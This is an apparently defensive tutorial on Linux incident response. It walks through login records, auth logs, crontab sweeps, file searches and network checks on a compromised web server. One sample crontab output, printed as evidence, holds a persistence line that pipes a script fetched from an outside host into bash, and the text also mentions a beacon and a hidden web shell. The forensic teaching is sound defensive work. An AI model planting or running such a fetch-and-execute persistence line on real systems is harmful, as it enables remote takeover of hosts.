In early 2026, attackers exploited CVE-2025-32463 to gain initial access to internet-facing Linux hosts, then spent weeks living quietly inside before exfiltrating data. By the time defenders noticed, the trail was cold — but not gone. Linux keeps more forensic evidence than most attackers expect. Here is how you find it.
Step 1: Establish a Timeline with Last Logins and Auth Logs
Your first move after isolating a compromised host is reconstructing who logged in, when, and from where. The last command reads /var/log/wtmp — a binary login record that persists even after an attacker clears bash history.
$ last -F -a | head -30
root pts/1 Fri Nov 20 03:14:22 2026 still logged in 192.0.2.47
dev-svc pts/0 Thu Nov 19 22:41:05 2026 - Thu Nov 19 22:58:33 2026 192.0.2.201
root pts/1 Thu Nov 19 02:08:17 2026 - Thu Nov 19 02:51:44 2026 192.0.2.47
ajohnson tty1 Wed Nov 18 09:03:11 2026 - Wed Nov 18 17:44:02 2026 192.0.2.1
reboot system boot Wed Nov 18 08:59:44 2026
Three things stand out immediately. root logged in twice from 192.0.2.47 — an external IP — at 2 AM and 3 AM. The service account dev-svc authenticated from 192.0.2.201 for 17 minutes late at night. Neither login pattern matches normal business hours. The host also rebooted on November 18, which could indicate a kernel-level implant or simply a reboot to clear runtime artifacts.
Now drill into /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) to see how root got in:
$ grep '192.0.2.47' /var/log/auth.log | grep -E 'Accepted|Failed'
Nov 19 02:07:44 prod-web01 sshd[31204]: Failed password for root from 192.0.2.47 port 51832 ssh2
Nov 19 02:07:51 prod-web01 sshd[31204]: Failed password for root from 192.0.2.47 port 51832 ssh2
Nov 19 02:08:17 prod-web01 sshd[31204]: Accepted publickey for root from 192.0.2.47 port 51833 ssh2
Two password failures followed immediately by a public key success. The attacker likely brute-forced or credential-stuffed to find the account was open, then switched to a pre-planted SSH key. Check /root/.ssh/authorized_keys right now — if there is an unfamiliar entry, that is your persistence mechanism.
Step 2: Hunt for Malicious Files and Scheduled Tasks
Attackers need persistence and execution. On Linux that usually means cron jobs, modified binaries, or files dropped into world-writable directories. Start with cron:
$ for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ===";
crontab -u $user -l 2>/dev/null;
done
=== root ===
* * * * * /tmp/.cache/beacon >/dev/null 2>&1
=== dev-svc ===
@reboot curl -s http://192.0.2.89/init.sh | bash
=== ajohnson ===
no crontab for ajohnson
That output is damning. Root runs /tmp/.cache/beacon every minute — a classic C2 keepalive hidden in a dot-directory to blend with legitimate cache folders. The dev-svc account downloads and executes a remote shell script on every reboot. These two entries alone confirm the host is fully compromised and calling home.
Next, find recently modified files outside of expected package paths. The find command below targets anything touched in the last 10 days with executable permissions:
$ find / -not -path '/proc/*' -not -path '/sys/*' \
-newer /var/log/dpkg.log -perm /111 -type f 2>/dev/null \
| grep -v '/usr/bin\|/usr/sbin\|/bin\|/sbin'
/tmp/.cache/beacon
/var/www/html/assets/img/.thumbs/wp-config.php
/home/dev-svc/.local/share/systemd/user/update.service
Three suspicious hits. The beacon binary we already know about. A PHP file buried inside an image directory with a name designed to look like a WordPress config is almost certainly a web shell. The fake systemd user service under dev-svc is a second persistence layer that survives cron removal. Pull the web shell content, hash all three files with sha256sum, and submit them to VirusTotal or run them through a sandbox before you remove anything — you want IOCs, not just cleanup.
Step 3: Check for Lateral Movement and Data Staging
Attackers rarely stop at one host. Look at outbound network connections and recently accessed files to understand what they touched.
$ ss -tnp | grep ESTABLISHED
ESTABLISHED 0 0 10.0.0.15:54321 192.0.2.89:443 users:(("beacon",pid=4821,fd=3))
Live C2 connection — the beacon process is actively talking to 192.0.2.89 over port 443. Do not kill it yet if you are capturing traffic with tcpdump. Let it run long enough to record the full handshake, then block the IP at the firewall and terminate the process.
To find staged data, check for large archives created recently:
$ find /home /var /tmp -name '*.tar*' -o -name '*.zip' -o -name '*.gz' \
-newer /etc/passwd -size +1M 2>/dev/null
/var/tmp/.sess/backup_nov19.tar.gz
A 1MB+ archive in /var/tmp created after the breach window is a strong sign of data staging. Examine its contents with tar -tzf before touching it, and preserve it as evidence. Cross-reference the creation timestamp against the last output — if it was created during the 02:08 root session, you now have a clear narrative of the attack.
What To Do Right Now
Pick your most exposed Linux host — any public-facing server — and run last -F -a | head -50 combined with a crontab sweep across all users. If you see logins from unexpected IPs outside business hours, or cron entries you cannot account for, treat it as a confirmed compromise and start your IR process today. That five-minute check has caught real intrusions that sat undetected for weeks.
